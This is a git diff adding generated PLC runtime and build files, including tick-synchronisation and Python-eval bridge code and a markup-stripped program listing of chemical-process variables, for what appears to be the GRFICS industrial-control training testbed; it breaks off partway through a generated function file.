&& (tail.msgidx > msgidx)); + + if(tail.msgidx == msgidx){ + uint32_t sbuffpos = (stailpos - tail.msgsize ) & LOG_BUFFER_MASK; + uint32_t totalsize = tail.msgsize; + *tick = tail.tick; + *tv_sec = tail.time.tv_sec; + *tv_nsec = tail.time.tv_nsec; + copy_from_log(level, sbuffpos, buf, + totalsize > max_size ? max_size : totalsize); + return totalsize; + } + } + return 0; +} + +#endif + +#ifndef TARGET_EXT_SYNC_DISABLE + +#define CALIBRATED -2 +#define NOT_CALIBRATED -1 +static int calibration_count = NOT_CALIBRATED; +static IEC_TIME cal_begin; +static long long Tsync = 0; +static long long FreqCorr = 0; +static int Nticks = 0; +static unsigned long last_tick = 0; + +/* + * Called on each external periodic sync event + * make PLC tick synchronous with external sync + * ratio defines when PLC tick occurs between two external sync + * @param sync_align_ratio + * 0->100 : align ratio + * < 0 : no align, calibrate period + **/ +void align_tick(int sync_align_ratio) +{ + /* + printf("align_tick(%d)\n", calibrate); + */ + if(sync_align_ratio < 0){ /* Calibration */ + if(calibration_count == CALIBRATED) + /* Re-calibration*/ + calibration_count = NOT_CALIBRATED; + if(calibration_count == NOT_CALIBRATED) + /* Calibration start, get time*/ + PLC_GetTime(&cal_begin); + calibration_count++; + }else{ /* do alignment (if possible) */ + if(calibration_count >= 0){ + /* End of calibration */ + /* Get final time */ + IEC_TIME cal_end; + PLC_GetTime(&cal_end); + /*adjust calibration_count*/ + calibration_count++; + /* compute mean of Tsync, over calibration period */ + Tsync = ((long long)(cal_end.tv_sec - cal_begin.tv_sec) * (long long)1000000000 + + (cal_end.tv_nsec - cal_begin.tv_nsec)) / calibration_count; + if( (Nticks = (Tsync / common_ticktime__)) > 0){ + FreqCorr = (Tsync % common_ticktime__); /* to be divided by Nticks */ + }else{ + FreqCorr = Tsync - (common_ticktime__ % Tsync); + } + /* + printf("Tsync = %ld\n", Tsync); + printf("calibration_count = %d\n", calibration_count); + printf("Nticks = %d\n", Nticks); + */ + calibration_count = CALIBRATED; + } + if(calibration_count == CALIBRATED){ + /* Get Elapsed time since last PLC tick (__CURRENT_TIME) */ + IEC_TIME now; + long long elapsed; + long long Tcorr; + long long PhaseCorr; + long long PeriodicTcorr; + PLC_GetTime(&now); + elapsed = (now.tv_sec - __CURRENT_TIME.tv_sec) * 1000000000 + now.tv_nsec - __CURRENT_TIME.tv_nsec; + if(Nticks > 0){ + PhaseCorr = elapsed - (common_ticktime__ + FreqCorr/Nticks)*sync_align_ratio/100; /* to be divided by Nticks */ + Tcorr = common_ticktime__ + (PhaseCorr + FreqCorr) / Nticks; + if(Nticks < 2){ + /* When Sync source period is near Tick time */ + /* PhaseCorr may not be applied to Periodic time given to timer */ + PeriodicTcorr = common_ticktime__ + FreqCorr / Nticks; + }else{ + PeriodicTcorr = Tcorr; + } + }else if(__tick > last_tick){ + last_tick = __tick; + PhaseCorr = elapsed - (Tsync*sync_align_ratio/100); + PeriodicTcorr = Tcorr = common_ticktime__ + PhaseCorr + FreqCorr; + }else{ + /*PLC did not run meanwhile. Nothing to do*/ + return; + } + /* DO ALIGNEMENT */ + PLC_SetTimer(Tcorr - elapsed, PeriodicTcorr); + } + } +} + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o new file mode 100644 index 0000000..e22d7cc --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c new file mode 100644 index 0000000..1343d89 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c @@ -0,0 +1,221 @@ +/* + * Python Asynchronous execution code + * + * PLC put python commands in a fifo, respecting execution order + * with the help of C pragmas inserted in python_eval FB code + * + * Buffer content is read asynchronously, (from non real time part), + * commands are executed and result stored for later use by PLC. + * + * In this implementation, fifo is a list of pointer to python_eval + * function blocks structures. Some local variables have been added in + * python_eval interface. We use those local variables as buffer and state + * flags. + * + * */ + +#include "iec_types_all.h" +#include "POUS.h" +#include + +/* The fifo (fixed size, as number of FB is fixed) */ +static PYTHON_EVAL* EvalFBs[1]; +/* Producer and consumer cursors */ +static int Current_PLC_EvalFB; +static int Current_Python_EvalFB; + +/* A global IEC-Python gateway state, for use inside python_eval FBs*/ +static int PythonState; +#define PYTHON_LOCKED_BY_PYTHON 0 +#define PYTHON_LOCKED_BY_PLC 1 +#define PYTHON_MUSTWAKEUP 2 +#define PYTHON_FINISHED 4 + +/* Each python_eval FunctionBlock have it own state */ +#define PYTHON_FB_FREE 0 +#define PYTHON_FB_REQUESTED 1 +#define PYTHON_FB_PROCESSING 2 +#define PYTHON_FB_ANSWERED 3 + +int WaitPythonCommands(void); +void UnBlockPythonCommands(void); +int TryLockPython(void); +void UnLockPython(void); +void LockPython(void); + +int __init_py_ext() +{ + int i; + /* Initialize cursors */ + Current_Python_EvalFB = 0; + Current_PLC_EvalFB = 0; + PythonState = PYTHON_LOCKED_BY_PYTHON; + for(i = 0; i < 1; i++) + EvalFBs[i] = NULL; + return 0; +} + +void __cleanup_py_ext() +{ + PythonState = PYTHON_FINISHED; + UnBlockPythonCommands(); +} + +void __retrieve_py_ext() +{ + /* Check Python thread is not being + * modifying internal python_eval data */ + PythonState = TryLockPython() ? + PYTHON_LOCKED_BY_PLC : + PYTHON_LOCKED_BY_PYTHON; + /* If python thread _is_ in, then PythonState remains PYTHON_LOCKED_BY_PYTHON + * and python_eval will no do anything */ +} + +void __publish_py_ext() +{ + if(PythonState & PYTHON_LOCKED_BY_PLC){ + /* If runnig PLC did push something in the fifo*/ + if(PythonState & PYTHON_MUSTWAKEUP){ + /* WakeUp python thread */ + UnBlockPythonCommands(); + } + UnLockPython(); + } +} +/** + * Called by the PLC, each time a python_eval + * FB instance is executed + */ +void __PythonEvalFB(int poll, PYTHON_EVAL* data__) +{ + if(!__GET_VAR(data__->TRIG)){ + /* ACK is False when TRIG is false, except a pulse when receiving result */ + __SET_VAR(data__->, ACK,, 0); + } + /* detect rising edge on TRIG to trigger evaluation */ + if(((__GET_VAR(data__->TRIG) && !__GET_VAR(data__->TRIGM1)) || + /* polling is equivalent to trig on value rather than on rising edge*/ + (poll && __GET_VAR(data__->TRIG) )) && + /* trig only if not already trigged */ + __GET_VAR(data__->TRIGGED) == 0){ + /* mark as trigged */ + __SET_VAR(data__->, TRIGGED,, 1); + /* make a safe copy of the code */ + __SET_VAR(data__->, PREBUFFER,, __GET_VAR(data__->CODE)); + } + /* retain value for next rising edge detection */ + __SET_VAR(data__->, TRIGM1,, __GET_VAR(data__->TRIG)); + + /* python thread is not in ? */ + if( PythonState & PYTHON_LOCKED_BY_PLC){ + /* if some answer are waiting, publish*/ + if(__GET_VAR(data__->STATE) == PYTHON_FB_ANSWERED){ + /* Copy buffer content into result*/ + __SET_VAR(data__->, RESULT,, __GET_VAR(data__->BUFFER)); + /* signal result presence to PLC*/ + __SET_VAR(data__->, ACK,, 1); + /* Mark as free */ + __SET_VAR(data__->, STATE,, PYTHON_FB_FREE); + /* mark as not trigged */ + if(!poll) + __SET_VAR(data__->, TRIGGED,, 0); + /*printf("__PythonEvalFB pop %d - %*s\n",Current_PLC_EvalFB, data__->BUFFER.len, data__->BUFFER.body);*/ + }else if(poll){ + /* when in polling, no answer == ack down */ + __SET_VAR(data__->, ACK,, 0); + } + /* got the order to act ?*/ + if(__GET_VAR(data__->TRIGGED) == 1 && + /* and not already being processed */ + __GET_VAR(data__->STATE) == PYTHON_FB_FREE) + { + /* Enter the block in the fifo + * Don't have to check if fifo cell is free + * as fifo size == FB count, and a FB cannot + * be requested twice */ + EvalFBs[Current_PLC_EvalFB] = data__; + /* copy into BUFFER local*/ + __SET_VAR(data__->, BUFFER,, __GET_VAR(data__->PREBUFFER)); + /* Set ACK pin to low so that we can set a rising edge on result */ + if(!poll){ + /* when not polling, a new answer imply reseting ack*/ + __SET_VAR(data__->, ACK,, 0); + }else{ + /* when in polling, acting reset trigger */ + __SET_VAR(data__->, TRIGGED,, 0); + } + /* Mark FB busy */ + __SET_VAR(data__->, STATE,, PYTHON_FB_REQUESTED); + /* Have to wakeup python thread in case he was asleep */ + PythonState |= PYTHON_MUSTWAKEUP; + /*printf("__PythonEvalFB push %d - %*s\n",Current_PLC_EvalFB, data__->BUFFER.len, data__->BUFFER.body);*/ + /* Get a new line */ + Current_PLC_EvalFB = (Current_PLC_EvalFB + 1) % 1; + } + } +} + +char* PythonIterator(char* result, void** id) +{ + char* next_command; + PYTHON_EVAL* data__; + //printf("PythonIterator result %s\n", result); + /*emergency exit*/ + if(PythonState & PYTHON_FINISHED) return NULL; + /* take python mutex to prevent changing PLC data while PLC running */ + LockPython(); + /* Get current FB */ + data__ = EvalFBs[Current_Python_EvalFB]; + if(data__ && /* may be null at first run */ + __GET_VAR(data__->STATE) == PYTHON_FB_PROCESSING){ /* some answer awaited*/ + /* If result not None */ + if(result){ + /* Get results len */ + __SET_VAR(data__->, BUFFER, .len, strlen(result)); + /* prevent results overrun */ + if(__GET_VAR(data__->BUFFER, .len) > STR_MAX_LEN) + { + __SET_VAR(data__->, BUFFER, .len, STR_MAX_LEN); + /* TODO : signal error */ + } + /* Copy results to buffer */ + strncpy((char*)__GET_VAR(data__->BUFFER, .body), result, __GET_VAR(data__->BUFFER,.len)); + }else{ + __SET_VAR(data__->, BUFFER, .len, 0); + } + /* remove block from fifo*/ + EvalFBs[Current_Python_EvalFB] = NULL; + /* Mark block as answered */ + __SET_VAR(data__->, STATE,, PYTHON_FB_ANSWERED); + /* Get a new line */ + Current_Python_EvalFB = (Current_Python_EvalFB + 1) % 1; + //printf("PythonIterator ++ Current_Python_EvalFB %d\n", Current_Python_EvalFB); + } + /* while next slot is empty */ + while(((data__ = EvalFBs[Current_Python_EvalFB]) == NULL) || + /* or doesn't contain command */ + __GET_VAR(data__->STATE) != PYTHON_FB_REQUESTED) + { + UnLockPython(); + /* wait next FB to eval */ + //printf("PythonIterator wait\n"); + if(WaitPythonCommands()) return NULL; + /*emergency exit*/ + if(PythonState & PYTHON_FINISHED) return NULL; + LockPython(); + } + /* Mark block as processing */ + __SET_VAR(data__->, STATE,, PYTHON_FB_PROCESSING); + //printf("PythonIterator\n"); + /* make BUFFER a null terminated string */ + __SET_VAR(data__->, BUFFER, .body[__GET_VAR(data__->BUFFER, .len)], 0); + /* next command is BUFFER */ + next_command = (char*)__GET_VAR(data__->BUFFER, .body); + *id=data__; + /* free python mutex */ + UnLockPython(); + /* return the next command to eval */ + return next_command; +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.o new file mode 100644 index 0000000..79ca9f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/plc.xml b/plc/GRFICS_Workstation_Docs/Documents/attack/plc.xml new file mode 100644 index 0000000..b63b42a --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/plc.xml @@ -0,0 +1,5687 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_flow + + + + + + + flow_set + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_setpoint + + + + + + + a_in_purge + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_valve_sp + + + + + + + + + + + + + f2_valve_sp + + + + + + + pressure_sp + + + + + + + pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure + + + + + + + + + + + + + hmi_pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level + + + + + + + + + + + + + hmi_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_valve_pos + + + + + + + + + + + + + hmi_f1_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f2_valve_pos + + + + + + + + + + + + + hmi_f2_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + purge_valve_pos + + + + + + + + + + + + + + + hmi_purge_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_valve_pos + + + + + + + + + + + + + hmi_product_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_flow + + + + + + + + + + + + + hmi_f1_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f2_flow + + + + + + + + + + + + + hmi_f2_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + purge_flow + + + + + + + + + + + + + hmi_purge_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_flow + + + + + + + + + + + + + hmi_product_flow + + + + + + + f1_valve_pos + + + + + + + f2_valve_pos + + + + + + + purge_valve_pos + + + + + + + + + + + + + purge_valve_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure + + + + + + + flow_set + + + + + + + override_sp + + + + + + + + + + + + + flow_set + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level + + + + + + + level_sp + + + + + + + product_valve_pos + + + + + + + + + + + + + product_valve_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 1 + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 32000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + first_run + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + first_run + + + + + + + + + + + a_setpoint + + + + + + + + + + + + + flow_set + + + + + + + + + + + + + pressure_sp + + + + + + + + + + + + + override_sp + + + + + + + + + + + + + level_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_sp_real + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_k + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + flow_k + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + input_uint + + + + + + + 2 + + + + + + + + + + + + + + + output_int + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_sp_c + + + + + + + + + + + a_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_sp_c + + + + + + + + + + + flow_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + over_sp_c + + + + + + + + + + + + + over_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_sp_c + + + + + + + + + + + + + level_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + press_sp_c + + + + + + + + + + + + + press_sp + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/beremiz.xml b/plc/GRFICS_Workstation_Docs/Documents/chemical/beremiz.xml new file mode 100644 index 0000000..c5afdb1 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/beremiz.xml @@ -0,0 +1,4 @@ + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.c new file mode 100644 index 0000000..0dd2355 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.c @@ -0,0 +1,29 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +#include "accessor.h" + +#include "POUS.h" + +// CONFIGURATION CONFIG0 + +void RES0_init__(void); + +void config_init__(void) { + BOOL retain; + retain = 0; + + RES0_init__(); +} + +void RES0_run__(unsigned long tick); + +void config_run__(unsigned long tick) { + RES0_run__(tick); +} +unsigned long long common_ticktime__ = 50000000ULL; /*ns*/ +unsigned long greatest_tick_count__ = 0UL; /*tick*/ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.h new file mode 100644 index 0000000..7050753 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.h @@ -0,0 +1,2 @@ +#include "beremiz.h" + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.o b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.o new file mode 100644 index 0000000..3d987f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/LOCATED_VARIABLES.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/LOCATED_VARIABLES.h new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/LOCATED_VARIABLES.h diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.c new file mode 100644 index 0000000..cb34703 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.c @@ -0,0 +1,1045 @@ +void LOGGER_init__(LOGGER *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MSG,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->LEVEL,LOGLEVEL__INFO,retain) + __INIT_VAR(data__->TRIG0,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void LOGGER_body__(LOGGER *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + if ((__GET_VAR(data__->TRIG,) && !(__GET_VAR(data__->TRIG0,)))) { + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) + + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + + #undef GetFbVar + #undef SetFbVar +; + }; + __SET_VAR(data__->,TRIG0,,__GET_VAR(data__->TRIG,)); + + goto __end; + +__end: + return; +} // LOGGER_body__() + + + + + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_EVAL_body__() + + + + + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain) { + 